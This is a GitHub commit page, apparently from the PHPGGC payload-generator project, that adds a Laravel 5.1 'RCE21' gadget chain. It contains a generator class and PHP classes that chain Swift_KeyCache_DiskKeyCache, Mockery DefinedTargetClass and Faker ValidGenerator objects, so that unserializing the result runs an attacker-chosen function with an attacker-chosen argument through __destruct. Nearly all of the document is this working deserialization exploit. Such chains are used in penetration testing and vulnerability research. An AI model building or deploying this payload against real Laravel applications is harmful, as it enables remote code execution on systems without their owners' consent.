-
Notifications
You must be signed in to change notification settings - Fork 507
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Showing
2 changed files
with
67 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Laravel; | ||
|
||
class RCE21 extends \PHPGGC\GadgetChain\RCE\FunctionCall | ||
{ | ||
public static $version = '5.1.*'; | ||
public static $vector = '__destruct'; | ||
public static $author = 'fallingskies'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
$function = $parameters['function']; | ||
$parameter = $parameters['parameter']; | ||
|
||
return new \Swift_KeyCache_DiskKeyCache( | ||
$function, | ||
$parameter | ||
); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
<?php | ||
namespace Faker{ | ||
class DefaultGenerator{ | ||
protected $default; | ||
public function __construct($cmd) | ||
{ | ||
$this->default = $cmd; | ||
} | ||
} | ||
class ValidGenerator | ||
{ | ||
protected $generator; | ||
protected $validator; | ||
protected $maxRetries; | ||
public function __construct($function,$cmd){ | ||
$this->generator=new DefaultGenerator($cmd); | ||
$this->maxRetries=9; | ||
$this->validator=$function; | ||
} | ||
} | ||
} | ||
|
||
namespace Mockery\Generator{ | ||
use Faker\ValidGenerator; | ||
class DefinedTargetClass | ||
{ | ||
private $rfc; | ||
public function __construct($function,$cmd) | ||
{ | ||
$this->rfc=new ValidGenerator($function,$cmd); | ||
} | ||
} | ||
} | ||
|
||
namespace{ | ||
use Mockery\Generator\DefinedTargetClass; | ||
class Swift_KeyCache_DiskKeyCache{ | ||
private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']]; | ||
private $_path; | ||
public function __construct($function,$cmd){ | ||
$this->_path=new DefinedTargetClass($function,$cmd); | ||
} | ||
} | ||
} | ||
|
||
?> |